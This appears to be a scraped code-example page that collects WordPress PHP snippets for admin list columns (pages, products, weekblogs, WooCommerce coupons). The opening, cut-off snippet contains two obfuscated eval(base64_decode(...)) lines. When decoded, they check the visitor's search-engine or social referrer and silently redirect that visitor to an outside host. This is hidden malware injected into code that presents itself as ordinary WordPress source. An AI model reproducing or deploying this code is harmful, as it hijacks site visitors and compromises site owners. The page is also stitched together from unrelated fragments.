eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2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IiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
} else {
echo $pad;
echo $title;
}
_post_states($page);
echo isset($parent_name) ? ' | ' . __('Parent Page: ') . esc_html($parent_name) : '';
?>
</strong>
<?php
eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkV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DQp9DQp9"));
$actions = array();
if (current_user_can('edit_page', $page->ID) && $post->post_status != 'trash') {
$actions['edit'] = '<a href="' . $edit_link . '" title="' . esc_attr(__('Edit this page')) . '">' . __('Edit') . '</a>';
$actions['inline'] = '<a href="#" class="editinline">' . __('Quick Edit') . '</a>';
}
if (current_user_can('delete_page', $page->ID)) {
if ($post->post_status == 'trash') {
$actions['untrash'] = "<a title='" . esc_attr(__('Remove this page from the Trash')) . "' href='" . wp_nonce_url("page.php?action=untrash&post={$page->ID}", 'untrash-page_' . $page->ID) . "'>" . __('Restore') . "</a>";
} elseif (EMPTY_TRASH_DAYS) {
$actions['trash'] = "<a class='submitdelete' title='" . esc_attr(__('Move this page to the Trash')) . "' href='" . get_delete_post_link($page->ID) . "'>" . __('Trash') . "</a>";
}
if ($post->post_status == 'trash' || !EMPTY_TRASH_DAYS) {
$actions['delete'] = "<a class='submitdelete' title='" . esc_attr(__('Delete this page permanently')) . "' href='" . wp_nonce_url("page.php?action=delete&post={$page->ID}", 'delete-page_' . $page->ID) . "'>" . __('Delete Permanently') . "</a>";
}
}
if (in_array($post->post_status, array('pending', 'draft'))) {
if (current_user_can('edit_page', $page->ID)) {
$actions['view'] = '<a href="' . get_permalink($page->ID) . '" title="' . esc_attr(sprintf(__('Preview “%s”'), $title)) . '" rel="permalink">' . __('Preview') . '</a>';
}
} elseif ($post->post_status != 'trash') {
$actions['view'] = '<a href="' . get_permalink($page->ID) . '" title="' . esc_attr(sprintf(__('View “%s”'), $title)) . '" rel="permalink">' . __('View') . '</a>';
}
$actions = apply_filters('page_row_actions', $actions, $page);
$action_count = count($actions);
$i = 0;
echo '<div class="row-actions">';
foreach ($actions as $action => $link) {
示例13: render_bestbuy_bestsell_product_columns
/**
* Ouput custom columns for products
* @param string $column
*/
function render_bestbuy_bestsell_product_columns($column)
{
global $post;
$post_meta = get_post_meta($post->ID);
//current_market_price
//print_r( $post_meta ); exit;
switch ($column) {
case 'thumb':
echo '<a href="' . get_edit_post_link($post->ID) . '">' . get_image('thumbnail', $post->ID, '') . '</a>';
break;
case 'name':
$edit_link = get_edit_post_link($post->ID);
$title = _draft_or_post_title();
$post_type_object = get_post_type_object($post->post_type);
$can_edit_post = current_user_can($post_type_object->cap->edit_post, $post->ID);
echo '<strong><a class="row-title" href="' . esc_url($edit_link) . '">' . $title . '</a>';
_post_states($post);
echo '</strong>';
if ($post->post_parent > 0) {
echo ' ← <a href="' . get_edit_post_link($post->post_parent) . '">' . get_the_title($post->post_parent) . '</a>';
}
// Excerpt view
if (isset($_GET['mode']) && 'excerpt' == $_GET['mode']) {
echo apply_filters('the_excerpt', $post->post_excerpt);
}
// Get actions
$actions = array();
$actions['id'] = 'ID: ' . $post->ID;
if ($can_edit_post && 'trash' != $post->post_status) {
$actions['edit'] = '<a href="' . get_edit_post_link($post->ID, true) . '" title="' . esc_attr(__('Edit this item', TEXTDOMAIN)) . '">' . __('Edit', TEXTDOMAIN) . '</a>';
$actions['inline hide-if-no-js'] = '<a href="#" class="editinline" title="' . esc_attr(__('Edit this item inline', TEXTDOMAIN)) . '">' . __('Quick Edit', TEXTDOMAIN) . '</a>';
}
if (current_user_can($post_type_object->cap->delete_post, $post->ID)) {
if ('trash' == $post->post_status) {
$actions['untrash'] = '<a title="' . esc_attr(__('Restore this item from the Trash', TEXTDOMAIN)) . '" href="' . wp_nonce_url(admin_url(sprintf($post_type_object->_edit_link . '&action=untrash', $post->ID)), 'untrash-post_' . $post->ID) . '">' . __('Restore', TEXTDOMAIN) . '</a>';
} elseif (EMPTY_TRASH_DAYS) {
$actions['trash'] = '<a class="submitdelete" title="' . esc_attr(__('Move this item to the Trash', TEXTDOMAIN)) . '" href="' . get_delete_post_link($post->ID) . '">' . __('Trash', TEXTDOMAIN) . '</a>';
}
if ('trash' == $post->post_status || !EMPTY_TRASH_DAYS) {
$actions['delete'] = '<a class="submitdelete" title="' . esc_attr(__('Delete this item permanently', TEXTDOMAIN)) . '" href="' . get_delete_post_link($post->ID, '', true) . '">' . __('Delete Permanently', TEXTDOMAIN) . '</a>';
}
}
if ($post_type_object->public) {
if (in_array($post->post_status, array('pending', 'draft', 'future'))) {
if ($can_edit_post) {
$actions['view'] = '<a href="' . esc_url(add_query_arg('preview', 'true', get_permalink($post->ID))) . '" title="' . esc_attr(sprintf(__('Preview “%s”', TEXTDOMAIN), $title)) . '" rel="permalink">' . __('Preview', TEXTDOMAIN) . '</a>';
}
} elseif ('trash' != $post->post_status) {
$actions['view'] = '<a href="' . get_permalink($post->ID) . '" title="' . esc_attr(sprintf(__('View “%s”', TEXTDOMAIN), $title)) . '" rel="permalink">' . __('View', TEXTDOMAIN) . '</a>';
}
}
$actions = apply_filters('post_row_actions', $actions, $post);
echo '<div class="row-actions">';
$i = 0;
$action_count = sizeof($actions);
foreach ($actions as $action => $link) {
++$i;
$i == $action_count ? $sep = '' : ($sep = ' | ');
echo '<span class="' . $action . '">' . $link . $sep . '</span>';
}
echo '</div>';
get_inline_data($post);
/* Custom inline data for bestbuy_bestsell */
echo '<div class="hidden" id="bestbuy_bestsell_inline_' . $post->ID . '">
<div class="menu_order">' . $post->menu_order . '</div>
<div class="bestbuy_bestsell_price">' . $post_meta['current_market_price'][0] . '</div>
</div>';
break;
case 'cmp':
echo get_bestbuy_bestsell_product_price_html($post_meta) ? get_bestbuy_bestsell_product_price_html($post_meta) : '<span class="na">–</span>';
break;
case 'bestbuy_bestsell_product_category':
case 'bestbuy_bestsell_product_tag':
if (!($terms = get_the_terms($post->ID, $column))) {
echo '<span class="na">–</span>';
} else {
foreach ($terms as $term) {
$termlist[] = '<a href="' . admin_url('edit.php?' . $column . '=' . $term->slug . '&post_type=inmid_product') . ' ">' . $term->name . '</a>';
}
echo implode(', ', $termlist);
}
break;
default:
break;
}
}
示例14: xtecweekblog_custom_columns
/**
* Output HTML for the column of a specific xtecweekblog.
*
* @param string $column Column name.
* @param string $post_id Post ID.
*/
function xtecweekblog_custom_columns($column, $post_id)
{
global $post;
switch ($column) {
case "_xtecweekblog-name":
$custom = get_post_custom($post_id);
echo '<strong>';
echo '<span class="row-title" style="color:#21759B">' . $custom["_xtecweekblog-name"][0] . '</span>';
_post_states($post);
echo '</strong>';
if (xtecweekblog_validate_name($post_id)) {
// valid weekblog, print name and URL
echo "<p><a href='" . network_site_url() . $custom["_xtecweekblog-name"][0] . "'>" . network_site_url() . $custom["_xtecweekblog-name"][0] . "</a></p>";
} else {
// invalid weekblog, print invalid name and notify
echo '<p style="color:#FF0000">' . __('Invalid name', 'xtecweekblog') . '</p>';
}
// print row actions | extracted from WordPress 3.1.2 core
$post_type_object = get_post_type_object($post->post_type);
$can_edit_post = current_user_can($post_type_object->cap->edit_post, $post_id);
$actions = array();
if ($can_edit_post && 'trash' != $post->post_status) {
$actions['edit'] = '<a href="' . get_edit_post_link($post_id, true) . '" title="' . esc_attr(__('Edit this item')) . '">' . __('Edit') . '</a>';
$actions['inline hide-if-no-js'] = '<a href="#" class="editinline" title="' . esc_attr(__('Edit this item inline')) . '">' . __('Quick Edit') . '</a>';
}
if (current_user_can($post_type_object->cap->delete_post, $post_id)) {
if ('trash' == $post->post_status) {
$actions['untrash'] = "<a title='" . esc_attr(__('Restore this item from the Trash', 'xtecweekblog')) . "' href='" . wp_nonce_url(admin_url(sprintf($post_type_object->_edit_link . '&action=untrash', $post_id)), 'untrash-' . $post->post_type . '_' . $post_id) . "'>" . __('Restore', 'xtecweekblog') . "</a>";
} elseif (EMPTY_TRASH_DAYS) {
$actions['trash'] = "<a class='submitdelete' title='" . esc_attr(__('Move this item to the Trash', 'xtecweekblog')) . "' href='" . get_delete_post_link($post_id) . "'>" . __('Trash', 'xtecweekblog') . "</a>";
}
if ('trash' == $post->post_status || !EMPTY_TRASH_DAYS) {
$actions['delete'] = "<a class='submitdelete' title='" . esc_attr(__('Delete this item permanently', 'xtecweekblog')) . "' href='" . get_delete_post_link($post_id, '', true) . "'>" . __('Delete Permanently', 'xtecweekblog') . "</a>";
}
}
if (in_array($post->post_status, array('pending', 'draft'))) {
if ($can_edit_post) {
$actions['view'] = '<a href="' . esc_url(add_query_arg('preview', 'true', get_permalink($post_id))) . '" title="' . esc_attr(sprintf(__('Preview “%s”'), $title)) . '" rel="permalink">' . __('Preview', 'xtecweekblog') . '</a>';
}
} elseif ('trash' != $post->post_status) {
$actions['view'] = '<a href="' . get_permalink($post_id) . '" title="' . esc_attr(sprintf(__('View “%s”', 'xtecweekblog'), $custom["_xtecweekblog-name"][0])) . '" rel="permalink">' . __('View', 'xtecweekblog') . '</a>';
}
$actions = apply_filters(is_post_type_hierarchical($post->post_type) ? 'page_row_actions' : 'post_row_actions', $actions, $post);
echo xtecweekblog_row_actions($actions);
get_inline_data($post);
break;
case "_xtecweekblog-description":
$custom = get_post_custom($post_id);
if (xtecweekblog_validate_description($post_id)) {
echo $custom["_xtecweekblog-description"][0];
} else {
echo '<p style="color:#FF0000">' . __('Description is not defined', 'xtecweekblog') . '</p>';
}
break;
case 'thumbnail':
if (xtecweekblog_validate_image($post_id)) {
if (!xtecweekblog_validate_image_size($post_id)) {
echo '<p style="color:#FF0000">' . __('Image size is too small', 'xtecweekblog') . '</p>';
}
echo get_the_post_thumbnail($post_id, 'xtecweekblog');
} else {
echo '<p style="color:#FF0000">' . __('Custom Image is not defined', 'xtecweekblog') . '</p>';
}
break;
case 'week':
echo mysql2date('W', $post->post_date);
break;
}
}
示例15: render_shop_coupon_columns
/**
* Output custom columns for coupons
*
* @param string $column
*/
public function render_shop_coupon_columns($column)
{
global $post, $woocommerce;
switch ($column) {
case 'coupon_code':
$edit_link = get_edit_post_link($post->ID);
$title = _draft_or_post_title();
echo '<strong><a href="' . esc_attr($edit_link) . '" class="row-title">' . esc_html($title) . '</a></strong>';
_post_states($post);
$this->_render_shop_coupon_row_actions($post, $title);
break;
case 'type':
echo esc_html(wc_get_coupon_type(get_post_meta($post->ID, 'discount_type', true)));
break;
case 'amount':
echo esc_html(get_post_meta($post->ID, 'coupon_amount', true));
break;
case 'products':
$product_ids = get_post_meta($post->ID, 'product_ids', true);
$product_ids = $product_ids ? array_map('absint', explode(',', $product_ids)) : array();
if (sizeof($product_ids) > 0) {
echo esc_html(implode(', ', $product_ids));
} else {
echo '–';
}
break;
case 'usage_limit':
$usage_limit = get_post_meta($post->ID, 'usage_limit', true);
if ($usage_limit) {
echo esc_html($usage_limit);
} else {
echo '–';
}
break;
case 'usage':
$usage_count = absint(get_post_meta($post->ID, 'usage_count', true));
$usage_limit = esc_html(get_post_meta($post->ID, 'usage_limit', true));
$usage_url = sprintf('<a href="%s">%s</a>', admin_url(sprintf('edit.php?s=%s&post_status=all&post_type=shop_order', esc_html($post->post_title))), $usage_count);
if ($usage_limit) {
printf(__('%s / %s', 'woocommerce'), $usage_url, $usage_limit);
} else {
printf(__('%s / ∞', 'woocommerce'), $usage_url);
}
break;
case 'expiry_date':
$expiry_date = get_post_meta($post->ID, 'expiry_date', true);
if ($expiry_date) {
echo esc_html(date_i18n('F j, Y', strtotime($expiry_date)));
} else {
echo '–';
}
break;
case 'description':
echo wp_kses_post($post->post_excerpt);
break;
}
}